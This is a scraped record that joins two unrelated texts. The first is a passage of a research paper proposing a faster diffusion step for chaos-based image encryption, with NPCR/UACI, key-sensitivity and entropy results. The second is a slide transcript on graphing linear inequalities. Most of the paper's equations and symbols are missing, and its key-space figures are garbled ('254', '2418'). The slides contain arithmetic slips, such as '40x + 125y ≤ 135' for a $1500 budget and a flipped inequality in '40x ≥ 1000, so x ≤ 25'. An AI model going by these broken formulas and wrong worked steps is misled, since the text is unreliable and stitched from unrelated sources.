spreading effect of the cryptosystem will be remarkably accelerated. Besides, as the key stream elements produced in the supplementary diffusion stage not only depend on the secret key but also the plain image, different key streams will be produced when ciphering different plain images. Accordingly, opponents cannot obtain any clues about the secret key by launching chosen/known plaintext attacks, and the cryptosystem can resist known/chosen plaintext attacks effectively. Experimental results demonstrate that the proposed diffusion scheme has a high level of security and satisfactory encryption speed for practical secure image applications.\n\nThe remaining of this paper is organized as follows. In the next section, the architecture of permutation-diffusion type image cryptosystems is described. Then, the proposed diffusion strategy for image encryption is given in detail in Section 3. Simulation results and the effectiveness and efficiency of the proposed scheme are reported in Section 4, while the security analyses are addressed in Section 5. Finally, conclusions will be drawn in the last section.\n\n#### 2. Architecture of Permutation-Diffusion Type Image Cryptosystems\n\nThe architecture of permutation-diffusion type chaos-based image cryptosystems is shown in Figure 1. There are two stages in this type of cryptosystems, namely, the permutation stage and diffusion stage.\n\nIn the permutation stage, image pixels are generally shuffled by a two-dimensional area-preserving chaotic map, without any modification to their values. Traditionally, three types of chaotic maps, Arnold cat map, baker map, and standard map, are applied and their discretized versions are given by, respectively , where is the width or height of the square image, and are the original and the permuted pixel position, and , , and are control parameters of the three maps, respectively. All pixels are scanned sequentially from left to right and top to bottom.\n\nFigure 2 shows the confused images using 3-round cat map, baker map, and standard map, respectively. The test image is the standard 256 gray scale Barb image with size of .\n\nIn the diffusion stage, pixel values are modified sequentially by mixing with the key stream elements that are generated by a one-dimensional chaotic map. Generally, the modification to one particular pixel depends not only on the corresponding key stream element but also on the accumulated effect of all the previous pixel values , as described by where , , , and represent the current plain pixel, key stream element, output cipher-pixel and the previous cipher-pixel, respectively. Such diffusion algorithm can spread a slight difference in the plain image to large scale pixels in the ciphered image and thus differential attack may be practically useless. Additionally, to cipher the first pixel, has to be set as a seed. In general, , the key stream element, can be obtained from the current state of the chaotic map iteration according to where means modulo and the outcome is the remainder of the Euclidean division of by , returns the value nearest integers less than or equal to , and is the gray level of the plain image.\n\nIn the present paper, chaotic logistic map is employed as the key stream generators, and the mathematical formula is defined as where and are the control parameter and state value, respectively. If one chooses , the system is chaotic. The initial value and control parameter can be combined as the secret key. Note that there exist some periodic (nonchaotic) windows in chaotic region of logistic map. To address this problem, values correspond to positive Lyapunov exponents should be selected for parameter , so as to keep the effectiveness of the cryptosystem.\n\n#### 3. An Efficient Diffusion Scheme for Image Encryption\n\nAs pointed out by many previous works, an efficient image cipher should spread a minor change in the plain image to the whole cipher image in order to resist differential attack. Opponents usually make a slight change (e.g., change one pixel) of the plain image and then obtain some clues of the keys by comparing the difference of cipher images. Therefore, if the change in the plain image can spread out to larger scale pixels in the cipher image, the attacker will be unable to find out any valuable clues about the keys. Two performance indices, NPCR (number of pixels change rate) and UACI (unified average changing intensity), are utilized to measure the influence of one pixel change in plain image on the entire cipher image. Suppose that and are the th pixel of two images and , respectively; NPCR is defined as where and are the width and length of and and is Assume thatis the gray level of the two images; the index UACI is defined as\n\nFrom the above two mathematical formulas, we can draw the conclusion that NPCR is used to measure the spreading scale, whereas UACI is the measurement of the spreading degree. For a 256 gray-level image, the expected NPCR and UACI values are 99.61% and 33.46%, respectively . The diffusion performance can be regarded as an essential factor for the efficiency and security of an image cryptosystem.\n\n##### 3.1. Diffusion Effect Analysis of Traditional Image Cryptosystems\n\nIn this section, the diffusion effect of the traditional permutation-diffusion type image cryptosystems is analyzed theoretically and experimentally. In the present paper, the plain image and the encrypted image with the size of are viewed as two-dimensional matrices, and the coordinates of the pixels are between and from the upper-left corner to the lower-right corner.\n\nTraditional diffusion algorithm, as described by (4), which makes the modification to one particular pixel, depends on not only the corresponding key stream element but also on the previous cipher-pixel value. As a result, a tiny change in one pixel can spread out to all the subsequent pixels, as illustrated by Figure 3.\n\nWithout loss of generality, we assume that the differential pixel is at . After the permutation in the first encryption round, the pixel is shuffled to . Through the first round diffusion operation, the difference will spread out to all pixels subsequent to . Next in the second encryption round, the different pixels produced in the first round are scattered to a wider scale after the permutation procedure, and the difference ratio is greatly broadened to after the second round encryption. With several overall rounds encryption, the tiny difference can be spread out to the whole cipher image. In general, 3-4 overall rounds are required to achieve a satisfactory security performance.\n\nWe can now infer from the above analysis that two features of the spreading process may exist in the first encryption round.(1)Spreading scale. The difference will spread out to all pixels subsequent to certainly. This is because for each pixel value’s masking operation subsequent to the , and keeps the same, whereas is different, and hence the outcome of (4) will be different. Therefore, a satisfactory NPCR can be obtained in the first encryption round.(2)Spreading degree. As the new pixel value is obtained by exclusive-OR (XOR) operation, the modification to one bit cannot influence the outcome in other bits according to the mathematical calculations. Therefore, the difference will be fixed on the corresponding differential bit coordinate. For example, if the difference locates at the last bit of the pixel, the difference between the resultant pixel values will be either 1 or −1. Accordingly, UACI in the first encryption round will be much more disappointed than expected.\n\nSimulations have been performed to testify the theses mentioned above. In order to better represent the spreading effect of the diffusion procedure, two relevant shuffled images are directly applied as the inputs of the diffusion module. The first one is the confused image of Barb using 3-round cat map, whereas the other one is the modified version obtained by changing the last bit of the first pixel from 0 to 1. Chaotic logistic map with coefficients is used as key stream generator. The input images, output images, and their differential image are shown in Figure 4.\n\nBased on precise numerical calculations using Matlab R2010a, the differential ratio of the corresponding pixels between Figures 4(c) and 4(d) is 100%, which means that all the pixels at the same position have different grey values. On the other hand, the pixel values of the differential image are either 1 or −1 according to our mathematical analysis, with the proportion of 1 and −1 being 49.94% and 50.06%, respectively. The NPCR and UACI between the two output images are 100% and 0.39%, respectively. This result proves the two above-mentioned features convincingly.\n\nAccording to (4) and previous analyses, as there is only one differential variable in the formula and hence the spreading degree keeps on a lightweight degree, in this regard, another experiment has been carried out to investigate the diffusion performance when the key stream elements are changed simultaneously. Figures 4(a) and 4(b) are also used as the input images, while the key stream used for ciphering Figure 4(a) is extracted from a logistic map with coefficients . On the other hand, the key stream applied for Figure 4(b)’s encryption is produced by the logistic map with coefficients . The two output images and their differential image are depicted in Figure 5.\n\nBased on numerical calculations using Matlab, the NPCR and UACI are 99.61% and 33.41%, respectively. Both of the two performance indices are very close to the expected values. Therefore, two output images can be viewed as two random ones and there are no statistical correlations between them. The slight difference in the plain images has spread out to the whole image. Opponents cannot obtain any clues by comparing such two output images, and hence the cryptosystem can resist known/chosen plaintext attacks effectively. Therefore, it is of great significance to investigate how to make the difference in the input image transferred to the chaotic iteration so as to produce distinct key stream elements and hence obtain satisfactory diffusion performance at an early age.\n\n##### 3.2. Continuous Diffusion with a Control Parameter Perturbing Mechanism\n\nIn this section, we propose a novel diffusion scheme named continuous diffusion that can accelerate the spreading effect remarkably. The proposed diffusion scheme can collaborate with any chaotic maps that are used as key stream generator for diffusion, and logistic map is employed as an example for illustrating the proposed scheme clearly.\n\nDifferent from the traditional diffusion strategies, the proposed diffusion scheme consists of two relevant diffusion procedures with the normal diffusion module being unchanged and a supplementary diffusion procedure padded next. In the normal diffusion stage, plain pixel values are modified sequentially by the logistic map with the chosen parameters . So, the difference will spread out to all the pixels from to the last pixel, the same as the spreading process in the traditional diffusion procedure. Then, in the supplementary diffusion stage, the control parameter of the logistic map is altered by , the last pixel of the resultant image produced by the first diffusion stage. Through this mechanism, the slight spreading effect produced in the normal diffusion procedure will be introduced to the chaotic map, and hence result in totally different key streams due to its high sensitivity to the control parameter. Therefore, the difference will spread out to the whole cipher image and bring about totally different cipher images, and hence a satisfactory diffusion effect is obtained, as shown in Figure 6.\n\nIn our scheme, the control parameter of the logistic map is altered according to where is the grey value of and is the basic perturbation unit. should be set properly to make sure that at least one outcome of (10) falls within the chaotic region, and the usage of “±” is for the same purpose. We prefer that the orbit value is increasing progressively for logistic map. That means that is preferred being produced according to whereas if the calculated , the orbit perturbing formula will change to\n\nNote that, for deciphering smoothly, key stream element used for ciphering the last pixel in the supplementary diffusion stage has to be generated by the given parameter “” rather than the perturbed control parameter. Therefore, totally, key stream elements have to be generated by the given parameter “,” with the previous elements being required in the first diffusion stage and the last one used for ciphering the last pixel in the supplementary diffusion procedure.\n\nThe detailed process of above proposed that diffusion scheme is described as follows.\n\nStep 1. Iterate (6) for times continuously to avoid the harmful effect of transitional procedure, where is a constant.\n\nStep 2. The logistic map is iterated for times continuously. With each of the iteration, we can get one key stream element from the current state value according to (5).\n\nStep 3. Calculate the cipher-pixel value sequentially according to (4). One may set an initial value as a seed.\n\nStep 4. Alter the control parameter “” of the logistic map referring to (10).\n\nStep 5. Iterate the logistic map for times continuously with the modified control parameter produced in Step 4, and get the corresponding key stream elements according to (5).\n\nStep 6. Except the last one, modify the pixel values sequentially by (4), using the key stream elements produced in Step 5.\n\nStep 7. Encrypt the last pixel in supplementary diffusion stage using the last key stream element produced in Step 2.\n\nNote that when other chaotic maps are applied for key stream generation, the control parameter perturbing operation could be implemented referring to that of the logistic map described above. Besides, any 2D or higher dimensional discretized chaotic maps can be employed for image permutation and collaborated with the proposed diffusion scheme.\n\n#### 4. Simulation Results\n\nIn this section, simulation results are given out to demonstrate the efficiency and the effectiveness of the proposed diffusion scheme in comparison with Wang’s algorithm in . A number of tests have been carried out with different permutation strategies and numbers of encryption rounds, using the standard 256 gray scale Barb image with size of . NPCR and UACI are computed to measure the influence of a plain pixel change on the entire cipher image. The consumption time is measured by running the standard C program in our computing platform, a personal computer with an Intel(R) Core(TM) i5 CPU (2.27 GHZ), 2 GB memory, and 320 GB hard-disk capacity. Chaotic logistic map with coefficients is employed for key stream elements generation in the diffusion stage. The basic perturbation unit used for simulation is taken as , which is the computational precision of the 64-bit double-precision number according to the IEEE floating-point standard . Tables 1, 2, and 3 list the simulation results of cryptosystems with the cat map, baker map, and standard map adopted for image permutation, respectively. The permutation round is .\n\n Test 1 round 2 rounds 3 rounds 4 rounds Items Proposed Wang’s Proposed Wang’s Proposed Wang’s Proposed Wang’s NPCR 99.61% 50.51% 99.62% 99.61% 99.62% 99.60% 99.60% 99.61% UACI 33.41% 16.86% 33.51% 33.47% 33.46% 33.45% 33.51% 33.48% Times (ms) 7.8 6.7 15.6 13.4 23.4 20.1 26.8 31.2\n Test 1 round 2 rounds 3 rounds 4 rounds Items Proposed Wang’s Proposed Wang’s Proposed Wang’s Proposed Wang’s NPCR 99.60% 51.02% 99.61% 99.61% 99.62% 99.60% 99.61% 99.62% UACI 33.44% 16.91% 33.47% 33.49% 33.51% 33.46% 33.48% 33.49% Times (ms) 68.8 67.2 137.6 134.4 206.4 201.6 275.2 268.8\n Test 1 round 2 rounds 3 rounds 4 rounds Items Proposed Wang’s Proposed Wang’s Proposed Wang’s Proposed Wang’s NPCR 99.59% 49.87% 99.61% 99.61% 99.60% 99.61% 99.63% 99.60% UACI 33.43% 16.75% 33.48% 33.46% 33.48% 33.48% 33.52% 33.46% Times (ms) 103.4 101.8 206.8 203.6 310.2 305.4 413.6 407.2\n\nAs demonstrated in the tables, to achieve a satisfactory security level such as NPCR > 99.60% and UACI > 33.4%, only one overall round is required when using the proposed diffusion scheme no matter what technique is applied for permutation. However, such satisfactory security performance will be produced after the second encryption round when using Wang’s algorithm. Compared with Wang’s scheme, at least 40% of the encryption time can be saved even though a little more time is needed in one overall round due to the computation in the supplementary diffusion procedure. The significant acceleration in encryption speed is due to the reduction of the encryption rounds, and thus the encryption efficiency is more satisfactory. Besides, as the key stream elements produced in our diffusion stage are decided not only by the secret key but also by the plain image, different plain images can result in distinct key stream elements, and this advantage ensures the robustness against known/chosen plaintext attacks of the proposed scheme.\n\n#### 5. Security Analysis\n\nIn this section, image cryptosystems based on the proposed diffusion scheme and various permutation strategies are analyzed versus different security performances.\n\n##### 5.1. Key Space Analysis\n\nThe key space is the total number of different keys that can be used in a cryptosystem, and the key space should be sufficiently large to make brute-force attack infeasible. For permutation-diffusion type image cryptosystems, the secret key consists of two parts: permutation key and diffusion key . According to the IEEE floating-point standard , the computational precision of the 64-bit double-precision number is about . For logistic map, can be any number among those possible values and can be any one of possible values, so the total key space of the diffusion module is\n\nThroughout the previous works, the key space of the cat map with permutation round , baker map and standard map are approximately 254, 2418, and 263, respectively. Therefore, the total key space of the image cryptosystems based on corresponding chaotic maps are 2152, 2516, and 2161, respectively, and hence are sufficiently large to make brute force infeasible.\n\n##### 5.2. Key Sensitivity Test\n\nThe key sensitivity of a cryptosystem can be observed in the following two aspects: (i) completely different cipher images should be produced when using slightly different keys to encrypt the same plain image and (ii) the cipher image cannot be correctly decrypted even though there is slight difference between the encryption and decryption keys.\n\nThe following key sensitivity tests have been performed to evaluate the key sensitivity in the first case.(1)The plain image Barb is firstly encrypted with the chosen coefficients for logistic map and certain permutation map, and cipher-barb image is produced.(2)The initial value is changed from 0.3 to while is kept unchanged, and then performs the encryption again, and the resultant image is represented as cipher-barb2.(3)The control parameter is changed from 3.999 to , while remain 0.3, then encrypt the plain image again, and get the image cipher-barb3.(4)Compute the difference between the original cipher image obtained in step and the cipher images produced in steps and .(5)Repeat the above steps using different permutation strategies.\n\nThe testing results when using cat map, baker map, and standard map are listed in Table 4. The corresponding cipher images using cat map for permutation and the differential images are depicted in Figure 7. The results obviously show that the cipher images exhibit no similarity between one another and there is no significant correlation that could be observed from the differential images.\n\n Permutation approaches Difference between cipher-barb and cipher-barb2 Difference between cipher-barb and cipher-barb3 Cat map 99.59% 99.60% Baker map 99.59% 99.61% Standard map 99.62% 99.61%\n\nIn addition, decryption operations using different keys with slight changes also have been performed in order to evaluate the key sensitivity in the second case.(1)Barb is firstly encrypted with the chosen coefficients , for logistic map and certain permutation chaotic map, and cipher-barb is obtained.(2)Decrypt the cipher-barb with being changed to while remained unchanged, and the decrypted image is represented as decipher-barb2.(3)Decrypt the cipher-barb with the control parameter varied to , while remain at 0.3, and then get the decipher-barb3.(4)Compute the difference between the plain image Barb and the decipher images produced in steps and .(5)Repeat the above steps using different permutation techniques.\n\nThe simulation results when using cat map, baker map, and standard map are listed in Table 5. The corresponding decipher images using cat map for permutation are illustrated by Figure 8. The results obviously show that the cipher images exhibit no similarity between one another and there is no significant correlation that could be observed from the differential images.\n\n Permutation approaches Difference between Barb and decipher -barb2 Difference between Barb and decipher-barb3 Cat map 99.62% 99.59% Baker map 99.60% 99.63% Standard map 99.61% 99.59%\n\nThe above two tests prove that the proposed image diffusion scheme is highly sensitive to the secret key. Even an almost perfect guess of the key does not reveal any valuable information about the cryptosystem and hence differential attack would become inefficient and practically useless.\n\n##### 5.3. Statistical Analysis\n###### 5.3.1. Histogram Analysis\n\nHistogram of an image demonstrates the distribution of the pixel values by plotting the number of pixels at each gray scale level. The histogram of an effectively ciphered image should be uniform and significantly different from that of the plain image so as to prevent the attacker from obtaining any useful statistical information. The histograms of the plain image and its cipher images produced by the image cryptosystems based on the proposed diffusion scheme and different permutation strategies are depicted in Figure 9. It is obvious that the histograms of the encrypted images are uniformly distributed and quite different from those of the plain image, which implies that the redundancy of the plain image is successfully hidden after the encryption and consequently does not provide any clue to apply statistical attacks.\n\n###### 5.3.2. Correlation of Adjacent Pixels\n\nFor an ordinary image with meaningful visual content, each pixel is highly correlated with its adjacent pixels in horizontal, vertical, and diagonal direction. An effective cryptosystem should produce a cipher image with sufficiently low correlation between the adjacent pixels. To test this, 3000 pairs of adjacent pixels of the plain image and the cipher image are randomly selected from the horizontal, vertical, and diagonal direction, respectively. The correlation coefficient of each pair is calculated according to the following three formulas: where and are gray-level values of the th pair of the selected adjacent pixels and represents the total number of the samples. The correlation coefficients of adjacent pixels in Barb image and its cipher images are listed in Table 6. The correlation distributions of two horizontally adjacent pixels in the plain image and the cipher images using various permutation chaotic maps are shown in Figure 10. Both the calculated correlation coefficients and the figures can substantiate that the strong correlation among the neighboring pixels of a plain image can be decorrelated by using the proposed encryption scheme effectively.\n\n Correlation of plain image Correlation of cipher images Cat map Baker map Standard map Horizontal 0.9565 0.0023 −0.0056 0.0015 Vertical 0.8617 −0.0057 −0.0023 −0.0018 Diagonal 0.8396 −0.0013 0.0036 0.0023\n###### 5.3.3. Information Entropy\n\nEntropy is a significant property that reflects the randomness and the unpredictability of an information source; it was firstly proposed by Shannon in 1949 . The entropy of a message source is defined as where is the source, is the number of bits to represent the symbol , and is the probability of the symbol . For a truly random source consisting of symbols, the entropy is . Therefore, for a secure cryptosystem, the entropy of the cipher image having 256 gray levels should ideally be 8. Otherwise, the information source is not sufficiency random and there exists a certain degree of predictability for breaking the cryptosystem.\n\nFive 256 gray scale test images with size are encrypted for 1 round and the information entropies are then calculated, as listed in Table 7. It is obvious that the entropies of the cipher images are very close to the theoretical value of 8, which means that information leakage in the encryption procedure is negligible and the proposed algorithm is secure against entropy analysis.\n\n Entropies of plain images Entropies of cipher images Cat map Baker map Standard map Lena 7.445568 7.999370 7.999424 7.999413 Baboon 7.357949 7.999356 7.999189 7.999342 Barb 7.466426 7.999305 7.999335 7.999355 Bridge 5.705560 7.999287 7.999297 7.999305 Peppers 7.571478 7.999351 7.999378 7.999371\n\n#### 6. Conclusions\n\nIn the present paper, an efficient diffusion scheme is proposed to address the efficiency and security flaws of the traditional permutation-diffusion type image cryptosystems. Our diffusion scheme consists of two relevant diffusion procedures in one overall round encryption. The first one is the same as the normal diffusion module, whereas, in the supplementary diffusion procedure, the control parameter of the selected chaotic map is altered by the resultant image generated after the first diffusion operation. This scheme makes full use of the sensitivity property of the chaotic systems, and a slight difference in the image can be transferred to the chaotic map iteration and then brings about totally different key stream elements. Through this mechanism, the spreading effect of the cryptosystem can be significantly accelerated in the supplementary diffusion procedure and the cryptosystem can resist chosen/known plaintext attacks effectively. Experimental results have proved the higher efficiency and the security level of the proposed scheme. These improvements can motivate the practical applications of permutation-diffusion architecture chaos-based image cryptosystems.\n\n#### Conflict of Interests\n\nThe authors declare that there is no conflict of interests regarding the publication of this paper.\n\n#### Acknowledgments\n\nThis work was supported by the National Natural Science Foundation of China (nos. 61271350, 61374178, and 61202085), the Fundamental Research Funds for the Central Universities (no. N120504005), the Liaoning Provincial Natural Science Foundation of China (no. 201202076), the Specialized Research Fund for the Doctoral Program of Higher Education (no. 20120042120010), and the Ph.D. Start-up Foundation of Liaoning Province, China (Nos. 20111001, 20121001, and 20121002).\n\n1. S. Li, G. Chen, and X. Zheng, “Chaos-based encryption for digital images and videos,” in Multimedia Security Handbook, chapter 4, pp. 133–167, CRC Press, 2005. View at: Google Scholar\n2. J. Fridrich, “Symmetric ciphers based on two-dimensional chaotic maps,” International Journal of Bifurcation and Chaos in Applied Sciences and Engineering, vol. 8, no. 6, pp. 1259–1284, 1998.\n3. G. R. Chen, Y. B. Mao, and C. K. Chui, “A symmetric image encryption scheme based on 3D chaotic cat maps,” Chaos, Solitons & Fractals, vol. 21, no. 3, pp. 749–761, 2004.\n4. Y. B. Mao, G. R. Chen, and S. G. Lian, “A novel fast image encryption scheme based on 3D chaotic Baker maps,” International Journal of Bifurcation and Chaos in Applied Sciences and Engineering, vol. 14, no. 10, pp. 3613–3624, 2004.\n5. T. Xiang, K. W. Wong, and X. F. Liao, “Selective image encryption using a spatiotemporal chaotic system,” Chaos, vol. 17, no. 2, Article ID 023115, 2007. View at: Publisher Site | Google Scholar\n6. Y. Wang, K. W. Wong, X. F. Liao, T. Xiang, and G. R. Chen, “A chaos-based image encryption algorithm with variable control parameters,” Chaos, Solitons & Fractals, vol. 41, no. 4, pp. 1773–1783, 2009. View at: Publisher Site | Google Scholar\n7. V. Patidar, N. K. Pareek, and K. K. Sud, “A new substitution-diffusion based image cipher using chaotic standard and logistic maps,” Communications in Nonlinear Science and Numerical Simulation, vol. 14, no. 7, pp. 3056–3075, 2009. View at: Publisher Site | Google Scholar\n8. C. Fu, J. J. Chen, H. Zou, W. H. Meng, Y. F. Zhan, and Y. W. Yu, “A chaos-based digital image encryption scheme with an improved diffusion strategy,” Optics Express, vol. 20, no. 3, pp. 2363–2378, 2012. View at: Publisher Site | Google Scholar\n9. J. X. Chen, Z. L. Zhu, C. Fu, and H. Yu, “An improved permutation-diffusion type image cipher with a chaotic orbit perturbing mechanism,” Optics Express, vol. 21, no. 23, pp. 27873–27890, 2013. View at: Publisher Site | Google Scholar\n10. F. Y. Sun, S. T. Liu, and Z. W. Lü, “Image encryption using high-dimension chaotic system,” Chinese Physics, vol. 16, no. 12, pp. 3616–3623, 2007. View at: Publisher Site | Google Scholar\n11. Y. S. Zhang, D. Xiao, Y. L. Shu, and J. Li, “A novel image encryption scheme based on a linear hyperbolic chaotic system of partial differential equations,” Signal Processing: Image Communication, vol. 28, no. 3, pp. 292–300, 2013. View at: Publisher Site | Google Scholar\n12. T. G. Gao and Z. Q. Chen, “A new image encryption algorithm based on hyper-chaos,” Physics Letters A, vol. 372, no. 4, pp. 394–400, 2008. View at: Publisher Site | Google Scholar\n13. C. K. Huang and H. H. Nien, “Multi chaotic systems based pixel shuffle for image encryption,” Optics Communications, vol. 282, no. 11, pp. 2123–2127, 2009. View at: Publisher Site | Google Scholar\n14. S. Behnia, A. Akhshani, H. Mahmodi, and A. Akhavan, “A novel algorithm for image encryption based on mixture of chaotic maps,” Chaos, Solitons & Fractals, vol. 35, no. 2, pp. 408–419, 2008.\n15. A. N. Pisarchik and M. Zanin, “Image encryption with chaotically coupled chaotic maps,” Physica D: Nonlinear Phenomena, vol. 237, no. 20, pp. 2638–2648, 2008.\n16. S. Mazloom and A. M. Eftekhari-Moghadam, “Color image encryption based on coupled nonlinear chaotic map,” Chaos, Solitons & Fractals, vol. 42, no. 3, pp. 1745–1754, 2009. View at: Google Scholar\n17. Y. Cao, “A new hybrid chaotic map and its application on image encryption and hiding,” Mathematical Problems in Engineering, vol. 2013, Article ID 728375, 13 pages, 2013. View at: Publisher Site | Google Scholar\n18. Q. Zhang, X. Xue, and X. P. Wei, “A novel image encryption algorithm based on DNA subsequence operation,” The Scientific World Journal, vol. 2012, Article ID 286741, 10 pages, 2012. View at: Publisher Site | Google Scholar\n19. X. Y. Zhang, C. Wang, S. Zhong, and Q. Yao, “Image encryption scheme based on balanced two-dimensional cellular automata,” Mathematical Problems in Engineering, vol. 2013, Article ID 562768, 10 pages, 2013. View at: Publisher Site | Google Scholar\n20. Z. L. Zhu, W. Zhang, K. W. Wong, and H. Yu, “A chaos-based symmetric image encryption scheme using a bit-level permutation,” Information Sciences, vol. 181, no. 6, pp. 1171–1186, 2011. View at: Publisher Site | Google Scholar\n21. C. Fu, B. B. Lin, Y. S. Miao, X. Liu, and J. J. Chen, “A novel chaos-based bit-level permutation scheme for digital image encryption,” Optics Communications, vol. 284, no. 23, pp. 5415–5423, 2011. View at: Publisher Site | Google Scholar\n22. X. Y. Wang and D. P. Luan, “A novel image encryption algorithm using chaos and reversible cellular automata,” Communications in Nonlinear Science and Numerical Simulation, vol. 18, no. 11, pp. 3075–3085, 2013. View at: Publisher Site | Google Scholar | MathSciNet\n23. D. Xiao, X. F. Liao, and P. C. Wei, “Analysis and improvement of a chaos-based image encryption algorithm,” Chaos, Solitons & Fractals, vol. 40, no. 5, pp. 2191–2199, 2009.\n24. J. Wei, X. Liao, K. W. Wong, and T. Zhou, “Cryptanalysis of a cryptosystem using multiple one-dimensional chaotic maps,” Communications in Nonlinear Science and Numerical Simulation, vol. 12, no. 5, pp. 814–822, 2007. View at: Publisher Site | Google Scholar\n25. C. Fu, W. H. Meng, X. F. Zhan et al., “An efficient and secure medical image protection scheme based on chaotic maps,” Computers in Biology and Medicine, vol. 43, no. 8, pp. 1000–1010, 2013. View at: Publisher Site | Google Scholar\n26. IEEE Computer Society, “IEEE standard for binary floating-point arithmetic,” ANSI/IEEE Std 754-1985, 1985. View at: Publisher Site | Google Scholar\n27. C. E. Shannon, “Communication theory of secrecy systems,” Bell System Technical Journal, vol. 28, no. 4, pp. 656–715, 1949."
] | [
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http://slideplayer.com/slide/7792880/ | [
"",
null,
"# A linear inequality in two variables relates two variables using an inequality symbol. Example: y > 2x – 4. Its graph is a region of the coordinate plane.\n\n## Presentation on theme: \"A linear inequality in two variables relates two variables using an inequality symbol. Example: y > 2x – 4. Its graph is a region of the coordinate plane.\"— Presentation transcript:\n\nA linear inequality in two variables relates two variables using an inequality symbol.\nExample: y > 2x – 4. Its graph is a region of the coordinate plane bounded by a line. The line is called a boundary line, which divides the coordinate plane into two regions. Remember: ≥ and ≤ use solid lines > and < use dashed lines\n\nTo graph y ≥ 2x – 4, make the boundary line solid, and shade the region above the line. To graph y > 2x – 4, make the boundary line dashed because y-values equal to 2x – 4 are not included.\n\nThink of the underlines in the symbols ≤ and ≥ as representing solid lines on the graph.\n\nExample 1A: Graphing Linear Inequalities\nGraph the inequality Step one: Draw the line but with a dashed line y-intercept = 2 and a slope of . Then shade the region above the boundary line to show .\n\nExample 1A Continued Check Choose a point in the solution region, such as (3, 2) and test it in the inequality. ? 2 > 1 ? The test point satisfies the inequality, so the solution region appears to be correct.\n\nExample 1B: Graphing Linear Inequalities\nGraph the inequality y ≤ –1. Recall that y= –1 is a horizontal line. Step 1 Draw a solid line for y=–1 because the boundary line is part of the graph. Step 2 Shade the region below the boundary line to show where y < –1. .\n\nExample 1B Continued Check The point (0, –2) is a solution because –2 ≤ –1. Note that any point on or below y = –1 is a solution, regardless of the value of x.\n\nIf the equation of the boundary line is not in slope-intercept form, you can choose a test point that is not on the line to determine which region to shade. If the point satisfies the inequality, then shade the region containing that point. Otherwise, shade the other region. The point (0, 0) is the easiest point to test if it is not on the boundary line. Helpful Hint\n\nExample 2: Graphing Linear Inequalities Using Intercepts\nGraph 3x + 4y ≤ 12 using intercepts. Step 1 Find the intercepts. Substitute x = 0 and y = 0 into 3x + 4y = 12 to find the intercepts of the boundary line. y-intercept x-intercept 3x + 4y = 12 3x + 4y = 12 3(0) + 4y = 12 3x + 4(0) = 12 4y = 12 3x = 12 y = 3 x = 4\n\nStep 2 Draw the boundary line.\nExample 2 Continued Step 2 Draw the boundary line. The line goes through (0, 3) and (4, 0). Draw a solid line for the boundary line because it is part of the graph. (0, 3) Step 3 Find the correct region to shade. Substitute (0, 0) into the inequality. Because ≤ 12 is true, shade the region that contains (0, 0). (4, 0)\n\nMany applications of inequalities in two variables use only nonnegative values for the variables. Graph only the part of the plane that includes realistic solutions. Don’t forget which variable represents which quantity. Caution\n\nExample 3: Problem-Solving Application\nA school carnival charges \\$4.50 for adults and \\$3.00 for children. The school needs to make at least \\$135 to cover expenses. List the important information: The school sells tickets at \\$4.50 for adults and \\$3.00 for children. The school needs to make at least \\$135.\n\nA. Using x as the adult ticket price and y as the child ticket price, write and graph an inequality for the amount the school makes on ticket sales. 4.5x + 3y ≥ 135. Find the intercepts of the boundary line. 4.5(0) + 3y = 135 y = 45 4.5x + 3(0) = 135 x = 30\n\nIf 25 child tickets are sold,\nB. If 25 child tickets are sold, how many adult tickets must be sold to cover expenses? If 25 child tickets are sold, 4.5x + 3(25) ≥ 135 Substitute 25 for y in 4.5x + 3y ≥ 135. 4.5x + 75 ≥ 135 Multiply 3 by 25. 4.5x ≥ 60, so x ≥ 13.3 _ A whole number of tickets must be sold. At least 14 adult tickets must be sold.\n\nCheck It Out! Example 3 A café gives away prizes. A large prize costs the café \\$125, and the small prize costs \\$40. The café will not spend more than \\$1500. How many of each prize can be awarded? How many small prizes can be awarded if 4 large prizes are given away?\n\nUnderstand the Problem\n1 Understand the Problem The answer will be in two parts: (1) an inequality graph showing the number of each type of prize awarded not too exceed a certain amount (2) the number of small prizes awarded if 4 large prizes are awarded. List the important information: The café awarded large prizes valued at \\$125 and \\$40 for small prizes. The café will not spend over \\$1500.\n\n2 Make a Plan Let x represent the number of small prizes and y represent the number of large prizes, the total not too exceed \\$1500. Write an inequality to represent the situation. 1500 y 125 + x 40 total. is less than number awarded times large prize plus Small prize An inequality that models the problem is 40x + 125y ≤ 135.\n\nSolve 3 Find the intercepts of the boundary line. 40(0) + 125y = 1500 40x + 125(0) = 1500 y = 12 x = 37.5 Graph the boundary line through (0, 12) and (37.5, 0) as a solid line. Shade the region below the line that is in the first quadrant, as prizes awarded cannot be negative.\n\nIf 4 large prizes are awarded,\n40x + 125(4) ≤ 1500 Substitute 4 for y in 40x + 125y ≤ 135. 40x ≤ 1500 Multiply 125 by 4. A whole number of small prizes must be awarded. 40x ≥ 1000, so x ≤ 25 No more than 25 small prizes can be awarded. Look Back 4 \\$40(25) + \\$125(4) = \\$1500, so the answer is reasonable.\n\nYou can graph a linear inequality that is solved for y with a graphing calculator. Press and use the left arrow key to move to the left side. Each time you press you will see one of the graph styles shown here. You are already familiar with the line style.\n\nExample 4: Solving and Graphing Linear Inequalities\nSolve for y. Graph the solution. Multiply both sides by 8x – 2y > 8 –2y > –8x + 8 Subtract 8x from both sides. Divide by –2, and reverse the inequality symbol. y < 4x – 4\n\nExample 4 Continued Use the calculator option to shade below the line y < 4x – 4. Note that the graph is shown in the STANDARD SQUARE window. ( :ZStandard followed by :ZSquare).\n\nSolve 2(3x – 4y) > 24 for y. Graph the solution.\nCheck It Out! Example 4 Solve 2(3x – 4y) > 24 for y. Graph the solution. 3x – 4y > 12 Divide both sides by 2. –4y > –3x + 12 Subtract 3x from both sides. Divide by –4, and reverse the inequality symbol.\n\nCheck It Out! Example 4 Continued\nUse the calculator option to shade below the line . Note that the graph is shown in the STANDARD SQUARE window. ( :ZStandard followed by :ZSquare).\n\nLesson Quiz: Part I 1. Graph 2x –5y 10 using intercepts. 2. Solve –6y < 18x – 12 for y. Graph the solution. y > –3x + 2\n\nLesson Quiz: Part II 3. Potatoes cost a chef \\$18 a box, and carrots cost \\$12 a box. The chef wants to spend no more than \\$144. Use x as the number of boxes of potatoes and y as the number of boxes of carrots. a. Write an inequality for the number of boxes the chef can buy. 18x + 12y ≤ 144 b. How many boxes of potatoes can the chef order if she orders 4 boxes of carrot? no more than 5\n\nDownload ppt \"A linear inequality in two variables relates two variables using an inequality symbol. Example: y > 2x – 4. Its graph is a region of the coordinate plane.\"\n\nSimilar presentations"
